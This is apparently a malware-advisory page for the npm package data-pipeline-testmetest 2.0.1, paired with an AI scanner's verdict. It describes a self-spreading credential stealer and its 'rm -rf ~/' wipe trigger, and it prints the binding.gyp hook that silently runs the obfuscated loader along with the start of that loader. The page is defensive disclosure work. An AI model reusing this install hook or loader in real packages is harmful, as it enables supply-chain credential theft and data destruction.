data-pipeline-testmetest@2.0.1
OpenSSF/OSV Malicious Advisory
imported 23h ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-18177 confirms this npm version as malicious.
Advisory
MAL-2026-18177
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in data-pipeline-testmetest (npm)
Details
data-pipeline-testmetest 2.0.1 is a self-spreading credential stealer that runs on `npm install` without an install script: its `binding.gyp` source `<!(env node index.js >/dev/null 2>&1; echo stub.c)` makes node-gyp run `index.js`, an obfuscated loader that decrypts a 939 KB payload and pipes it into Bun (downloaded from GitHub if missing). The payload steals GitHub, npm, PyPI, RubyGems and cloud credentials, commits them to a public repository it creates in the victim's GitHub account (description `project-utils`), and republishes the victim's packages with the same hook. Published by npm account `testnewtestme2` on 2026-10-21.
If it finds a GitHub token it installs a `net-health-checker` user service that runs `rm -rf ~/` once the token is revoked. Remove `~/.local/bin/net-health-checker.sh` and its systemd unit or LaunchAgent before revoking the token, then rotate all reachable credentials.
References
Independent LPM AI assessment
SuspiciousIndependent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
The implicit build-time execution of heavily obfuscated, encrypted code presents a concrete unresolved risk. The visible Bun installer behavior is consistent with installing Bun, and the flagged locations do not establish account actions; the encrypted payload prevents a clean assessment.
Static reason
No blocking static signals were detected.
Trigger
A package installation or build path that processes binding.gyp with node-gyp.
Impact
Package-controlled hidden code executes during the build, but its actions and data access are not established by the inspected source.
Mechanism
The build configuration runs node index.js; the entrypoint decodes its wrapper, decrypts embedded AES-GCM payloads, evaluates one, and runs another through Bun.
AI rationale
The implicit build-time execution of heavily obfuscated, encrypted code presents a concrete unresolved risk. The visible Bun installer behavior is consistent with installing Bun, and the flagged locations do not establish account actions; the encrypted payload prevents a clean assessment.
Evidence
binding.gypindex.js.lpm-dependency-evidence-dc1483a2-9c81-4172-a34e-a157ccf46ddb/0/npm-linux/package.json.lpm-dependency-evidence-dc1483a2-9c81-4172-a34e-a157ccf46ddb/0/npm-linux/install.js
Independent scan evidence
public snapshotAI called this Suspicious at 91.0% confidence as Dangerous Capability with medium false-positive risk.
Evidence for AI warning decision
- package.json names index.js as the entry point, declares bun as a dependency, and has no lifecycle script.
- binding.gyp runs node index.js while generating a source file, creating a native build path that executes the entrypoint.
- index.js wraps a numeric ROT13 decoder around eval; static decoding reveals embedded AES-GCM decryption, evaluation of one decrypted result, and execution of another through Bun.
- The scanner-flagged Bun installer code handles temporary files and installs or downloads and links the platform Bun binary; these excerpts show file setup rather than account actions.
Evidence against
- The package has no declared lifecycle hook. The dependency installer’s visible download is for the Bun platform binary from registry.npmjs.org, consistent with its installer behavior.
Behavioral surface
Eval
Minified
Source & flagged code
10 flagged · loading sourcebinding.gypView file
1{
"targets": [
{
"target_name": "nothing",
"type": "none",
"sources": ["<!(env node index.js >/dev/null 2>&1; echo stub.c)"]
}
]
}
High
Ai Review Evidence
binding.gyp runs node index.js while generating a source file, creating a native build path that executes the entrypoint.
binding.gypView on unpkg · L1•path = binding.gyp
kind = build_helper
sizeBytes = 160
magicHex = [redacted]
Medium
index.jsView file
1(function(){var _r=0,_s=1,_t=2;try{eval((function(d,k){return d.replace(/[a-zA-Z]/g,function(v){var o=v<="Z"?65:97;return String.fromCharCode((v.charCodeAt(0)-o+k)%26+o)})})([40,110,102,108,97,112,40,41,61,62,123,103,101,108,123,10,112,98,97,102,103,32,95,112,61,110,106,110,118,103,32,118,122,99,98,
High
Ai Review Evidence
index.js wraps a numeric ROT13 decoder around eval; static decoding reveals embedded AES-GCM decryption, evaluation of one decrypted result, and execution of another through Bun.
Findings
8 High3 Medium1 Low
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebinding.gyp
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidence.lpm-dependency-evidence-dc1483a2-9c81-4172-a34e-a157ccf46ddb/0/npm-linux/install.js
HighAi Review Evidence.lpm-dependency-evidence-dc1483a2-9c81-4172-a34e-a157ccf46ddb/0/npm-linux/install.js
HighAi Review Evidence.lpm-dependency-evidence-dc1483a2-9c81-4172-a34e-a157ccf46ddb/0/npm-linux/install.js
HighAi Review Evidence.lpm-dependency-evidence-dc1483a2-9c81-4172-a34e-a157ccf46ddb/0/npm-linux/install.js
MediumShips Build Helperbinding.gyp
MediumOversized Source Fileindex.js
Affected versions and remediation
This report applies to data-pipeline-testmetest@2.0.1.
See all versions of data-pipeline-testmetest for other recorded verdicts.
- Avoid installing data-pipeline-testmetest@2.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.